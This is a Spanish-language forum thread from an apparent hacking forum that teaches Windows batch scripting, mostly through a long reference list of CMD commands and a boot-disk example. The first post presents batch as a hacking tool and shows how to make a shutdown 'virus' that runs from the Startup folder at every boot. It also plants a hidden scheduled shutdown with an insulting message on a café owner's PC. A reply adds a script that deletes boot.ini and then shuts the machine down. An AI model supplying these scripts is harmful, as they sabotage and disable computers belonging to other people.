AutorTema: Comienzos En BATCH con .bat by k4ron73 - He Style  (Leído 2123 veces)

SATELITAL®

  • Administrador
  • User Heroe

  • Desconectado
  • *****

  • 2301
  • Karma:
  • País: ar
  • +32/-0
  • Sexo
    Masculino

    Masculino
  • Comienzos En BATCH con .bat by k4ron73 - He Style
    « : 14 de julio de 2015, 05:14:39 am »
    Ufff!!!... vamos a estrenar ésta área también.... con éste lenguaje interesante, práctico y dentro de todo fácil... a ver les comparto ésta

    Breve Introducción:

    Que es eso raro del BATCH?     Para que me puede servir?     Esto sirve para hackear?

    Batch es un lenguaje de programación MUY FÁCIL que se usa en la consola del S.O. windows.
    Es un lenguaje que no necesita software, ni compiladores.. y en poco tiempo te permite hacer verdaderas curiosidades.

    Sirve para hackear? POR SUPESTO!!

    Vamos a empezar con una practica muy sencilla.

    Ve a INICIO, luego a EJECUTAR y escribe CMD si tienes XP o Seven.
    Se abre una pantalla negra con letras blancas. A esto se le llama msdos, console, consola, línea de comandos o shell. Desde allí puedes escribir comandos que darían órdenes especificas a tu maquina. Las instrucciones que escribas aquí tendrán prioridad absoluta en todo momento. Por ello la efectividad de este lenguaje. Sencillez, Rapidez y Efectividad se unen para formar este lenguaje de programación.

    Ok ahora escribe lo siguiente en la consola CMD:

    shutdown -s -t 120 -c "Probando una cosa"   Escribelo tál cuál y presiona enter

    Este es el metodo que usa el famoso virus lsasser que se ha propagado por todo el mundo.
    Para detenerlo escribe shutdown -a y todo volvería a la normalidad.
    Acabamos de descubrir la forma de crear un virus (algo mediocre) en 10 segundos!!

    Que necesito para comenzar?

    Windows. Recomendable a partir de XP... pero Seven y Creería que hasta Win8 también sirve. La linea de comandos y el bloc de notas de windows. Con un poco de paciencia verás como salen cosas interesantes!.

    Seguimos con nuestro ejemplo practico. Abre el bloc de notas. Escribe allí lo siguiente:

    shutdown -s -f -t 15 -c "Virus Creado Por Mí!!"

    Ahora le damos a GUARDAR COMO, Seleccionamos TODOS LOS ARCHIVOS, y lo guardamos con el siguiente nombre: MIVIRUS.BAT
    Es imprescindible que tenga extension .BAT y Ok, acabas de crear tu primer virus.
    TAN FACIL??   No te lo puedes ni creer verdad? prueba a pinchar dos veces sobre el a ver que ocurre...

    El equipo se apagara en 15 segundos!! Esta véz solo podrías poner shutdown -a a tiempo si eres extremadamente rápido!!

    Si copias este archivo mivirus.bat en la carpeta programas\inicio del windows abras creado un verdadero problema...
    Esta carpeta tiene la capacidad de iniciar en el arranque cualquier programa que esta dentro de ella. Si colocamos nuestro recién creado virus.. haremos que el ordenador no permanezca encendido mas de 15 segundos!!

    Usaremos la línea de comandos como centro de prácticas, y el bloc de notas como compilador.
    Como vés es uno de los lenguajes de programación mas sencillos que existen.

    Para avanzar mas rápido no voy a comentar los comandos mas usuales como DIR, DEL, RD, MD, CD, EXIT, etc... puedes buscar cualquier manual para msdos de xp. hay miles en google.

    Empezaremos con cosas sencillas... y acabaremos haciendo algunas cosas interesantes.. .


    ----------------------------------------------------------------------------------------------------------------------


    Seguimos un poco con el comando shutdown:
    Accedemos a la consola.
    Si escribimos HELP tendremos una lista de los comandos basicos del sistema, con una breve explicación de que hace cada uno.
    Si queremos información mas especifica solo tenemos que escribir el nombre del comando /?.
    por ejemplo, escribe:

    shutdown /?

    Te saldría explicado que utilidad tiene este comando y todos sus modificadores. un modificador o parámetro es  -f, -t, -a, /vv, /L, etc.. se colocan después del comando y sirven para darle instrucciones más precisas.

    Vamos a comentar por encima los parámetros de shutdown que más vamos a usar de ahora en adelante:

    -s   Da la orden de apagar el equipo (shutdown -s = apaga el equipo al instante)
    -r   En vez de apagar lo que hace es reiniciar el equipo. (shutdown -r)
    -a   Con esta orden evitamos que el sistema se apaga o reinicie.
    -f   Fuerza a cerrar todas las aplicaciones que requieran autorización o confirmación!!
    -c ""   Entre las comillas puedes poner un comentario que saldría en la pantalla de aviso.
    -t 00  puedes poner el tiempo en segundos que quieres que dure el Pc encendido.

    Veamos con un ejemplo práctico:
    Estoy instalando una actualización de windows que tarda 20 minutos en instalarse.. y después tendría que reiniciar el equipo para que haga efecto. Pero no me apetece estar 20 minutos sentado delante de la pantalla.. Tecleamos lo siguiente:

    shutdown -r -f -t 1800

    esto haría que en 30 minutos (30min x 60sg=1800sg) el pc se reinicie (-r) sin pedir confirmación y forzando a cerrar todas las aplicaciones (-f)

    Otro supuesto:
    Estoy en un ciber.. y me cae muy mal el dueño. además sospecho que la vez anterior me cobró de más... asi que voy a gastarle una broma simpática que no revertira daños en el pc...

    pondremos lo siguiente:

    at 17:15 shutdown -s -f -t 15 -c "De camino que vas a decirle al dueño que se te ha apagado el ordenador, dile que es un "soy un "soy un "soy un "soy un "soy un "soy un "soy un capullo""""""" de mi parte"

    JAJAJAJAJAJA!! Habría que ver la cara que pone el que está usando el pc al ver este mensaje!!

    Y bueno ya hemos programado una tarea con el comando AT para que se ejecute a las 17:15h.
    Este es otro comando que usaremos mucho.. y que ofrece grandes posibilidades. Puedes, por ejemplo programar que cargue el CounterStrike a la hora que tu quieras... o que se desactive el antivirus.. (jejeje paciencia.. todo a su debido tiempo).


    Tengo que hacer una corrección a este pequeño manual:

    El programador de tareas en la linea de comandos (AT) no funciona tál y como viene líneas mas arriba.
    Aunque en la misma ayuda del comando viene explícito la posibilidad de REPLACEAR comandos, esto no es cierto en la práctica.
    Tendremos que crear un archivo .bat con el código y guardarlo en un carpeta, y POSTERIORMENTE programarlo para que se ejecute.

    En el ejemplo de arriba, haríamos un .bat con el siguiente código:

    shutdown -s -f -t 15 -c "De camino que vas a decirle al dueño que se te ha apagado el ordenador, dile que es un "soy un "soy un "soy un "soy un "soy un "soy un "soy un capullo""""""" de mi parte"

    Le ponemos un nombre que no llame mucho la atención y lo guardamos en una carpeta. Por ejemplo lo llamaremos SHUT.BAT y lo guardaremos en C:\WINDOWS ok?.

    Luego para programarlo escribiremos directamente en la linea de comandos:

    AT 17:15 C:\WINDOWS\SHUT.BAT De esta manera se ejecutara sin problemas.
    Soy nuevo, pero se me ocurrio algo, para agregarle al shutdown... para hacer un poco más molesto este
    Cuasi-Virus.

    Que pasaria si agregaramos del /f /a:h /a:s c:\boot.ini
    y despues shutdown -s -t 5 
    Quedaria una cosa asi:

    @echo off
    Title Virus, o casi...
    del /f /a:h /a:s c:\boot.ini
    shutdown -s -t 5
    Echo Y bueno son cosas que pasan =S
    Pause > null

    ------


    Otra recopilación de nuestro amigo JeSuLeS ReC:

    En Windows XP hay muchísimos comandos utiles, pero lo malo de todo esto es su gran desconocimiento. Para poder utilizarlos, debemos abrir la consola de comandos, o la ventanita de MS-dos. En Windows XP, o Seven por ejemplo, podemos acceder a ella clickando en:

    Inicio > Ejecutar > cmd o bien pulsando la tecla Windows + R

    Con todos estos comandos, también podemos solicitar una ayuda, añadiendo uno de los siguiente parámetros: /? - /h a nuestra llamada.


    Comandos de Archivos y sistemas de ficheros

    cacls - Permite modificar los permisos de lectura y escritura en ficheros y carpetas
    chkdsk - Comprueba el estado de una partición y repara los daños en caso de que encuentre alguno. Sin parámetros simplemente escanea e informa de errores. Para que además repare, añadimos el parámetro /F: chkdsk /F

    cipher - Cifrado de datos en particiones NTFS.
    comp - Compara archivos o carpetas y muestra las diferencias existentes entre ellos.
    compact - Compresor de archivos. El parámetro para la compresión es /C, el parámetro para descomprimir es /U.
    convert - Conversor de particiones, convierte particiones FAT16 o FAT32 en particiones NTFS sin perdida de datos.
    defrag - Defragmentador de archivos.
    diskpart - Permite crear, eliminar y administrar particiones. A este programa en modo consola debemos utilizarlo con cuidado puesto que es fácil que eliminemos sin darnos cuenta todo el contenido del disco duro o de la partición activa.
    find y findstr - Comandos de búsqueda de ficheros. findstr permite buscar cadenas de caracteres dentro de los archivos.
    iexpress - Asistente para crear comprimidos .CAB.
    openfiles - Muestra a un administrador los archivos abiertos en un sistema y permite desconectarlos si se han abierto atreves de red.


    Comandos de Configuración e información del sistema

    bootcfg - Configurador de arranque. Simplemente modifica el archivo boot.ini para indicar opciones de arranque.

    control userpasswords2 - Permite modificar las claves y los permisos de los diferentes usuarios, asi como requerir la pulsación de control+alt+suprimir para poder iniciar sesión, haciendo el inicio de sesión mas seguro.


    driverquery - Crea un informe sobre los dirvers instalados en el sistema. Muestra además información detallada de cada uno.
    dxdiag - Herramienta de diagnostico de DirectX.
    gpresult - Información de las políticas de grupo aplicadas a un usuario.
    gpupdate - Actualizar las políticas de grupo.
    pagefileconfig - Configuración de la memoria virtual de Windows.
    prncnfg - Información sobre las impresoras instaladas.
    prnjobs - Información sobre los trabajos de impresion en cola.
    reg - Permite ver y modificar valores del registro de Windows.


    Opciones posibles:
    reg query: consulta en el registro
    reg add: añadir entrada
    reg delete: eliminar entrada
    reg copy: copiar clave en otro lugar del registro
    reg save: guardar parte del registro
    reg restore: restaura el registro
    reg load: cargar valor o clave desde un archivo .reg
    reg unload: descargar valor o clave
    reg compare: comparar valores de registro
    reg export: exportar registro a un archivo
    reg import: importar registro a un archivo

    sc - Administrador de servicios, podemos detenerlos, ejecutarlos, etc.
    sfc - Este comando permite buscar archivos del sistema dañados y recuperarlos en caso de que estén defectuosos (es necesario el CD de instalación del sistema operativo para utilizarlo). Para realizar una comprobación inmediata, deberemos ejecutar la orden sfc /scannow.
    systeminfo - Muestra información sobre nuestro equipo y nuestro sistema operativo: número de procesadores, tipo de sistema, actualizaciones instaladas, etc.
    taskkill - Permite matar procesos conociendo su nombre o su número de proceso (PID).
    Tasklist - Informe sobre los procesos ejecutados en el sistema.


    Comandos de Redes
    arp - Muestra y permite modificar las tablas del protocolo ARP, encargado de convertir las direcciones IP de cada ordenador en direcciones MAC (dirección física única de cada tarjeta de red)
    ftp - Cliente FTP en modo consola de comandos.
    getmac - Muestra las direcciones MAC de los adaptadores de red que tengamos instalados en el sistema.
    ipconfig - Muestra y permite renovar la configuracion de todos los interfaces de red.
    nbtstat - Muestra las estadísticas y las conexiones actuales del protocolo NetBIOS sobre TCP/IP, los recursos compartidos y los recursos que son accesibles.
    net - Permite administrar usuarios, carpetas compartidas, servicios, etc. Para un listado completo de todas las opciones, escribir net sin ningún argumento. Para obtener ayuda sobre alguna opción en concreto, escribe net help opción.
    netsh - Programa en modo consola permite ver, modificar y diagnosticar la configuración de la red
    netstat - Información sobre las conexiones de red de nuestro equipo.
    nslookup - Aplicación de red orientada a obtener información en los servidores DNS sobre un host en concreto.
    pathping - Muestra la ruta que sigue cada paquete para llegar a una IP determinada, el tiempo de respuesta de cada uno de los nodos por los que pasa.

    Estadisticas de cada uno de ellos
    ping - Comando para comprobar si una máquina esta en red o no.
    rasdial - Permite establecer o finalizar una conexión telefónica.
    route - Permite ver o modificar las tablas de enrutamiento de red.
    tracert - Informa sobre el camino que siguen los paquetes IP desde que sale de nuestra máquina hasta que llega a su destino.


    Comandos Miscelanea
    at - Permite programar tareas para que nuestro ordenador las ejecute en una fecha o en un momento determinado.
    logoff - Comando para cerrar sesiones, incluso en equpos remotos.
    msg - Envia mensajes por la red a otros equipos.
    msiexec - Comando para ejecutar archivos de instalacion .MSI.
    runas - Ejecución de programas como si fueras otro usuario.
    shctasks - Administrador de tareas programadas.
    shutdown - Comando para apagar, reiniciar el equipo. Es especialmente util si hemos sido infectado con el virus Blaster o una de sus variantes para cancelar la cuenta atrás. Para ello, tán solo tendremos que utilizar la sintaxis shutdown -a


    Comandos de Microsoft Management Console (MMC)
    Los siguientes comandos no son más que los accesos a cada sección de la MMC que lanzarán una interfaz grafica.
    ciadv.msc - Permite configurar el servicio de indexado que acelera las busquedas en el disco duro.
    compmgmt.msc - Da acceso a la Administración de equipos, desde donde podemos configurar nuestro ordenador y acceder a otras partes de la MMC.
    devmgmt.msc - Administrador de dispositivos.
    dfrg.msc - Defragmentador de disco.
    diskmgmt.msc - Administrador de discos.
    fsmgmt.msc - Monitorización y Administración de los recursos compartidos.
    gpedit.msc - Políticas de grupo.
    lusrmgr.msc - Administración de usuarios.
    ntmsmgr.msc - Administración de dispositivos de almacenamiento extraibles.
    ntmsoprq.msc - Monitorización de las solicitudes de operador de medios extraibles.
    perfmon.msc - Monitor de sistema.
    secpol.msc - Configuración de seguridad local.
    services.msc - Administrador de servicios.



    Wow... en fín como ven no es dificil, pero sí necesita de un poco de buena memoria y práctica, es interesante poder aplicar la creatividad y la imaginación para jugar con éstos parámetros....



    SIGUE ----->


    Hey!!! Sorry pero TU NO Est&aacute;s Autorizado para ver los Links. <a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=register">Reg&iacute;strate</a>&nbsp;o&nbsp;<a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=login">Ingresa</a>

    Vive Cáda Momento de Tu Vida, Cómo Si Fuera El Ultimo, Más Planifícala... Cómo Si Jamás Fueras a Irte ;) .-



    SATELITAL®

    • Administrador
    • User Heroe

    • Desconectado
    • *****

    • 2301
    • Karma:
    • País: ar
    • +32/-0
    • Sexo
      Masculino

      Masculino
  • Re:Comienzos En BATCH con .bat by k4ron73 - He Style
    « Respuesta #1 : 14 de julio de 2015, 05:15:19 am »
    ---> Viene De Arriba ya que que a muchas personas les interesa éste tema he decidido agregar otro pequeño texto que explique como funciona y que más se puede hacer.

    Posiblemente ya hay algunos otro, pero yo no lo he visto.

    Esperamos le sea de utilidad a alguien.


    ********************************************
    Introducción
    Antes que nada indicar a que se llaman procesos batch. Ya que la razón por la que a menudo se alude a ellos como .bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat

    Que se puede hacer con ellos?
    Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.

    b]Como hago un archivo bat?[/b]
    Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos  o algún editor ascii.

    Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con maximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente .bat.


    Para crearlos desde la misma consola puedo utilizar varios sistemas
    Sistema 1: mediante la orden copy
    copy con: nombre_de_archivo.bat
    ...
    ...
    comandos
    ...
    ...
    Ctrl z (se acaba y se graba al pulsar Ctrl Z

    Metodo 2 mediante la redirección
    echo 1? linea a insertar >nombre_de_archivo.bat
    echo restantes líneas >>nombre_de_archivo.bat

    En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas.

    Que es eso de la redireccion?
    Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro.

    Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar

    Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma

    dir >prn

    Que son los filtros
    Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124).

    El filtro SORT sirve para ordenar la salida
    dir | sort

    El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla
    dir | more


    Como puedo seleccionar varios archivos?
    Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines.
    * Equivale a varios caracteres
    ? equivale a un solo caracter.

    Ejemplos[/b
    comando *.cfg -> seleccionar todos los archivos que tengan la extension cfg
    comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg
    comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg
    comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg
    comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un carácter cualquiera y luego 'asa'. Debe tener también la extensión cfg
    comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un carácter cualquiera, luego una b y cualquier extensión
    comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empiece por b, luego un carácter cualquiera y luego una t.

    Que son las trayectorias o paths?
    La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre.

    Si digo que el archivo se llama leeme.txt indico su nombre, pero nada más. Se dá por supuesto que se encuentra en el directorio actual.

    Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raiz de C.

    Dado que en msdos no se admiten nombres largos (más de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros caracteres válidos del nombre, luego el signo ~ (alt 126) y luego un número.

    De esta forma un archivo que se encuentre en Mis documentos en XP por Ej. tendrá el path
    c:\misdoc~1\leeme.txt

    También se pueden utilizar (mientras las comillas para delimitar el nombre
    "c:\Mis Documentos\leeme.txt"
    Pero esto sólo vale cuando se utiliza msdos como consola (no cuando se inicia windows XP en modo msdos)

    Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios

    Esta seria la trayectoria de mimusica.mp3
    c:\misdoc~1\mi~1\mimusica.mp3
    Que equivale a
    "c:\Mis Documentos\Mi M?sica\mimusica.mp3"


    Cuales son los nombres de dispositivos
    La pantalla se llama CON. Por eso si redirijo algo a CON lo estoy sacando por pantalla.
    La impresora por defecto se llama PRN.
    La primera impresora se llama Lpt1 y las demas Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé, hay posibilidad de llegar a USB si no es la impresora por defecto.


    Como se les llama a las unidades lógicas
    Siempre es una letra seguida del signo dos puntos.
    A: = disquetera
    B: = reservada para segunda disquetera
    C: = primera particion (normalmente es la que arranca)
    D: = segunda particion (generalmente el cdrom)

    Por eso si se crea una unidad lógica mediante netbios en windows, ésta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente.




    Que comandos puedo utilizar?
    Comandos básicos
    CLS -> borra pantalla
    ECHO -> tiene varias posibilidades:
    Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off)
    Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado

    Echo off desactiva el comando echo y ya se ver?n los resultados de la ejecuci?n del comando, pero no el comando en sí mismo
    Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat.
    PAUSE ->Sirve para sacar un mensaje y parar la ejecuci?n hasta que se pulse una tecla
    PROMPT ->Sirve para cambiar el prompt de msdos. El m?s habitual es $p$g que corresponde a

    $p = mostrar trayecto actual
    $g = mostrar el separador >
    $l  = mostrar el separador <
    $b = mostrar el separador |
    $q = mostrar el signo =
    $$ = mostrar el signo $
    $t  = mostrar la hora
    $d = mostrar la fecha
    $v = mostrar la versión del sistema
    $n = mostrar unidad actual
    $h = retroceso. Borra el caracter previo
    $e = esc. Muestra el signo correspondiente al asci 27
    $_ = Retorno de carro y salto de l?nea (equivale a chr(10) & chr(13)

    Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g

    DATE
    Ver/poner la fecha del sistema
    TIME

    Ver/poner la hora del sistema
    VER[/font]
    Versión del sistema
    VOL unidad
    Volumen de la unidad especificada
    PATH
    Indica un trayecto por defecto si se produce una peticion de un archivo que no esta en el directorio actual.
    Por eso en windows cualquiera, suele haber una línea en autoexec.bat que es

    path c:\windows; c:\windows\command

    que indica que si se solicita un ejecutable que no esta en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command.

    KEYB codigo_pais,juego_de_caracteres,definicion_de_teclado,
    El codigo de pais de españa es el 'sp'
    El juego de caracteres aplicable a españa es el 850 - 437
    El archivo de definicion de teclado es keyboard.sys
    Para configurar un teclado en español
    keyb sp,,c:\windows\command\keyboard.sys

    SYS unidad
    Transferir el sistema operativo a la unidad especificada.

    DOSKEY
    Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado.

    MEM
    parámetros
    Muestra la memoria usada y libre en el sistema
       /p -> muestra por programas
       /d -> por programas y controladores
       /c -> clasifica por tamaño

    Comandos de manejo de archivos
    COPY origen destino

    Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual.

    El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
    copy miarchivo.txt c:\ (copiarlo al directorio raiz de C)
    copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt)
    copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A)
    copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1).

    DEL archivo(s)
    Borrar archivos en seleccionados
    del leeme.txt (borra el archivo leeme.txt en el directorio actual)
    del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\)
    del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas)

    DELTREE archivo(s) -y
    Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya).
    Con el parametro -y no pregunta cada véz
    Este comando en realidad no es un comando sino una utilidad incluida en msdos.

    MKDIR nombre (o bien MD nombre)
    Sirve para crear un directorio
    Md micarpeta

    CHDIR nombre (o bien CD nombre)
    Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentara desplazarse desde el directorio actual.
    Cd c:\archiv~1 (se va a archivos de programa)
    Cd .. (se va al directorio superior)

    RMDIR nombre (o bien MD nombre)
    Borra un directorio. Este debe estar vacio.
    RD c:\Misdoc~1 (borra Mis Documentos, aunque no podra porque no esta vacio).

    DIR trayecto
    Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual.
    Si se pone como parámetro /W saca un listado resumido.
    Si se pone como parámetro /P saca un listado utilizando el filtro more.

    ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
    Los atributos son:
    H -> oculto. Se activa con +h y desactiva con -h
    R -> Lectura. Solo lectura con +r, normal con -r
    S -> Sistema. Se activa con +s y desactiva con -s
    A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
    Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
    attrib *.exe +r +r +s (pone a todos los archivos con extensi?n exe como ocultos, del sistema y read only)

    RENAME o REN nombre1 nombre2
    Cambiar el nombre de archivo
    Ren miarchivo.txt miarchivo2.txt

    TYPE archivo
    Muestra por pantalla el contenido de un archivo
    type miarchivo.txt




    Comandos de disco
    DISCKCOPY origen destino-> Copia disquetes completos.
    Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducira posteriormente en la unidad A

    FDISK
    Permite editar las particiones del disco duro.
    Con la opcion /mbr permite borrar el Master Boot Record

    FORMAT unidad parámetros
    /q -> formateo rápido
    /s -> Transferir el sistema operativo
    Format a: /s formatea el disquete y le transfiere el sistema operativo b?sico de arranque.

    LABEL unidad etiqueta
    Cambiar la etiqueta de volumen del disco de la unidad
    label a: midisquete

    MSCDEX
    Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete).
    Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd
    mscdex /d:MiCd


    Scandisk unidad parámetros
    Para comprobar/reparar el estado del disco
    /autofix -> reparar automáticamente errores
    /surface -> hacer pruebas de superficie
    /checkonly -> no reparar, solo chequear


    Comandos para programación
    EDIT archivo

    Editor de textos utilizado para editar scripts y archivos de texto.
    DEBUG archivo parámetros de archivo
    Inicia el desensamblador  con el programa indicado al que se le pasan los parametros especificados.

    CHOICE texto opciones
    Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones
    La respuesta se devuelve mediante la variable errorlevel
    choice Elija una opción snc
    if errorlevel 1 goto ...
    if errorlevel 2 goto ...
    if errorlevel 3 goto ...
    Este ejemplo muestra el literal "elija una opción y da a elegir s (s?), n (no) o C (continuar) por ejemplo
    las tres siguientes lineas especifican a donde debe saltar el flujo del programa según la tecla pulsada.


    Comandos de red
    ARP parámetros
    Modificar la tabla arp.
    -a -> mostrar la tabla arp
    -s ip mac -> agregar una entrada a la tabla arp

    FTP
    Iniciar el cliente ftp

    IPCONFIG parámetros
    Mostrar las características de configuración de IP
    /all -> muestra toda la información de configuración
    /release adaptador -> libera la ip del adaptador especificado
    /renew adaptador -> renueva la ip para el adaptador especificado
    /flushdns -> purga la caché de resolución de dns
    /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
    /displaydns -> muestra el contenido de la cache de resolución dns

    NBTSTAT
    Hace un estado de la red por netbios
    Tiene muchos parámetros. Consultarlos mediante nbtstat /?

    NET parámetros
    Comando para el uso de redes netbios
    USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignar? un nombre de unidad y estara disponible como una unidad mas del sistema.
    USE \USER: dominio\usuario para acceder a un dominio
    USE unidad /DELETE eliminar el acceso a unidad compartida.
    SHARE trayecto /REMARK texto -> para compartir un recurso en red
    START -> para comenzar sesión netbios
    STOP -> para detener netbios

    NETSTAT
    Para ver el estado de la red.
    -a -> mostrar todos los puertos y conexiones
    -n -> mostrar numeros de puertos y direcciones
    -r -> mostrar la tabla de rutas
    -s -> mostrar estadísticas por protocolo
    -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

    NSLOOKUP dominio
    Muestra el dominio, su ip, dns donde se resuelve y sus alias

    PING
    Utilizar ICMP para llegar a un determinado nodo

    TELNET ip puerto
    Utilizar el protocolo telnet para acceso a un servidor exterior

    TRACERT
    destino
    tracear el camino hasta llegar al destino especificado


    SIGUE ABAJO ----->
    Hey!!! Sorry pero TU NO Est&aacute;s Autorizado para ver los Links. <a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=register">Reg&iacute;strate</a>&nbsp;o&nbsp;<a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=login">Ingresa</a>

    Vive Cáda Momento de Tu Vida, Cómo Si Fuera El Ultimo, Más Planifícala... Cómo Si Jamás Fueras a Irte ;) .-



    SATELITAL®

    • Administrador
    • User Heroe

    • Desconectado
    • *****

    • 2301
    • Karma:
    • País: ar
    • +32/-0
    • Sexo
      Masculino

      Masculino
  • Re:Comienzos En BATCH con .bat by k4ron73 - He Style
    « Respuesta #2 : 14 de julio de 2015, 05:16:06 am »
    VIENE DE ARRIBA ----->


    Programacion BAT
    Para crear un script bat podemos utilizar cualquiera de los metodos expuestos anteriores y utilizar cualquiera de los comandos especificados.

    Pueden recibir parámetros según los cuales realizar operaciones u otras.

    Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz.

    ********************************************
    Ejemplo 1
    Archivo .bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español.

    echo off
    rem **** esto es un comentario
    rem **** formatear disquete y pasarle el sistema
    format a: /s
    rem **** copiar archivos necesarios para teclado en espa?ol
    copy c:\windows\command\keyboard.sys a:
    copy c:\windows\command\keyb.com a:
    rem **** copiar archivos necesarios para montar el cdrom
    copy c:\windows\command\mscdex.exe
    rem aque hay que copiar el driver dos del cdrom que
    rem viene con el disquete que lo acompaña.
    rem copiar otras utilidades practicas para un disco de inicio
    copy c:\windows\command\fdisk.exe a:
    copy c:\windows\command\format.exe a:
    copy c:\windows\command\deltree.exe  a:

    rem crear el archivo de inicio autoexec.bat en disquete
    echo keyb sp,,keyboard.sys >a:autoexec.bat
    echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat
    echo mscdex /d:MiCdrom >>a:autoexec.bat

    rem crear el archivo de configuración para montar el driver del cdrom
    echo dos=high,umb >a:config.sys
    echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys

    echo **************************************
    echo      El disco de arranque ha sido creado
    echo **************************************

    *******************************************

    Ejemplo 2
    En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows. Sin embargo en XP se encuentra en \winnt\win32 por lo que en caso de XP deberíamos cambiar eso.
    XP tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable

    echo off
    rem si no se da parámetro terminar
    if %1z = z goto fin
    rem **** esto es un comentario
    rem **** formatear disquete y pasarle el sistema
    format a: /s
    rem **** copiar archivos necesarios para teclado en español
    copy %1\keyboard.sys a:
    copy %1\keyb.com a:
    rem **** copiar archivos necesarios para montar el cdrom
    copy %1\mscdex.exe
    rem copiar utilidades
    copy %1\fdisk.exe a:
    copy %1\format.exe a:
    copy %1\deltree.exe  a:
    fin:

    Para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32

    Miprograma c:\windows\command (para utilizar esta ruta como ruta origen)
    Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen)




    ********************************************
    Ejemplo 3
    ********************************************

    Creación de un archivo para consultas habituales sobre la red

    echo off
    echo 1 -> examinar netbios
    echo 2 -> examinar la red
    echo 3 -> examinar dominio
    echo 4 -> examinar la tabla de arp
    echo 5 -> Acceder a unidad lógica
    echo 6 -> Compartir unidad lógica
    echo 7 -> Acceder a un dominio
    echo pulse una tecla del 1 al 6 para elegir
    choice 123456
    if errorlevel 1 goto netbios
    if errorlevel 2 goto red
